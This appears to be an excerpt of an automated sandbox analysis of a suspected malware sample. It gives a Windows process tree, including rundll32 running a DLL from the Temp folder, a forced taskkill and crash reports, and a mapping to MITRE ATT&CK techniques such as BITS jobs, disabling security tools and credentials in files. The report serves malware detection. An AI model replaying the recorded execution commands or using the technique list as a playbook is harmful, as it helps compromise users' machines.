- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 8BB9C056A873CA628D58BDCBB7DBAF11
  2⤵
  PID:3700
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:8336
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 654E622365D47E07DF7855F8AC19C503 E Global\MSI0000
  2⤵
  PID:9300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 7232 -ip 7232
1⤵
PID:11256

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4640
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6296
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6296 -s 456
    3⤵
    - Program crash
    PID:6880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6296 -ip 6296
1⤵
PID:2420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 10500 -ip 10500
1⤵
PID:6580

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 10572 -ip 10572
1⤵
PID:5412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:9260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:7036

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

BITS Jobs

T1197

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

BITS Jobs

T1197

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery